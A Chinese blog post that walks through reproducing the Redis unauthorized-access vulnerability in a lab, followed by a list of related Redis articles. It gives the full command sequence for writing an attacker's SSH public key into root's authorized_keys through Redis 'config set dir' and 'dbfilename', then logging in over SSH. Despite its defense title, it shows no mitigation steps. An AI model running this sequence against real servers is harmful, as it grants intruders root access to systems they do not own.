漏洞检测与防御:Redis未授权访问漏洞复现

简介: 漏洞检测与防御:Redis未授权访问漏洞复现

漏洞检测与防御:Redis未授权访问漏洞复现

  1. 未授权访问漏洞
    未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS 、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等,使用时要注意。本文复现Redis未授权访问漏洞。

1.1 Redis未授权访问漏洞
Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相似,支持存储的value类型有很多种,其中包括String(字符串)、List(链表)、Set(集合)、Zset(有序集合)、Hash(哈希)等。Redis还支持不同的排序方式。Redis为了保证效率,将数据缓存在内存中,周期性地更新数据写入磁盘或者把修改操作写入追加的记录文件中,在此基础上实现了master-slaver(主从)同步。对Redis配置不当将会导致未授权访问漏洞,从而被攻击者恶意利用。在特定条件下,如果Redis以Root身份运行,攻击者可以用root权限的身份写入SSH公钥文件,通过SSH登录目标服务器,继而导致服务器权限被获取、泄漏或者发生加密勒索事件。

1.2 实验运行环境
靶 机:

OS: macOS Monterey Version 12.3.1(英文版)

Redis-Server: Redis 6.2.6

如下图:

image.png

攻击机:

OS:Linux kali Release 2021.3

Redis客户端: redis-cli 6.0.16

如下图:

image.png

1.3 SSH漏洞利用
1.3.1 与靶机(mac OS)Redis建立连接,在攻击机系统输入如下命令:

┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.68.242                                                                                                                                                                                                          
192.168.68.242:6379> info

运行结果如下图:
image.png

1.3.2 在攻击机(ka li)上生成密钥auth_key,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ssh-keygen -t rsa             # 本例生成个空密码(没密码)

运行结果如下图:
image.png

1.3.3 在目录/root/.ssh下查看生成结果,并将公钥导入auth_key.txt文件中,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ls     
┌──(root💀kali)-[~/.ssh]
└─# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > auth_key.txt

运行结果如下图:

image.png

查看一下生成的公钥文件,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# cat auth_key.txt

运行结果如下图:
image.png

1.3.4 将auth_key.txt中的公钥导入靶机(macOS)缓存中,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# cat auth_key.txt | redis-cli -h 192.168.68.242 -x set xxx

运行结果如下图:
image.png

1.3.5 在攻击机(kali)端执行如下命令,查看靶机(macOS)缓存的公钥文件xxx,命令如下:

192.168.68.242:6379> keys *
192.168.68.242:6379> get xxx

运行结果如下图:

image.png

1.3.6 更改配置文件路径为靶机(macOS)的目录/var/root/.ssh,设定文件名称为authorized_keys,然后保存。命令如下:

192.168.68.242:6379> config set dir /var/root/.ssh
OK
192.168.68.242:6379> config set dbfilename authorized_keys
OK
192.168.68.242:6379> save
OK
192.168.68.242:6379>

1.3.7 在攻击机(kali)上通过SSH协议连接到靶机(macOS),命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ssh 192.168.68.242

运行结果如下图:

image.png

登录成功

相关文章
|
2月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
|
4月前
|
NoSQL 关系型数据库 Redis
Docker的通俗理解和通过宿主机端口访问Redis容器的实例
本文目标:引导初学者入门Docker,理解镜像、容器和宿主机概念,学习常用Docker命令,特别是如何创建并从Redis容器通过宿主机端口访问。 关键点: - Docker核心:镜像(类)、容器(实例)、宿主机(运行环境)。 - `docker pull` 拉取镜像,如 `redis:3.0`。 - `docker run -d --name` 后台运行容器,如 `my-redis`。 - `-p` 参数做端口映射,如 `6379:6379`。 - `docker exec -it` 交互式进入容器,如 `bash` 或执行命令。
255 4
|
2月前
|
缓存 负载均衡 NoSQL
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
|
2月前
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
|
2月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
|
2月前
|
缓存 NoSQL Redis
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
|
2月前
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
|
2月前
|
缓存 NoSQL 网络协议
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
|
2月前
|
网络协议 NoSQL 网络安全
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
|
2月前
|
缓存 NoSQL 网络协议
【Azure Redis 缓存 Azure Cache For Redis】在创建高级层Redis(P1)集成虚拟网络(VNET)后,如何测试VNET中资源如何成功访问及配置白名单的效果
【Azure Redis 缓存 Azure Cache For Redis】在创建高级层Redis(P1)集成虚拟网络(VNET)后,如何测试VNET中资源如何成功访问及配置白名单的效果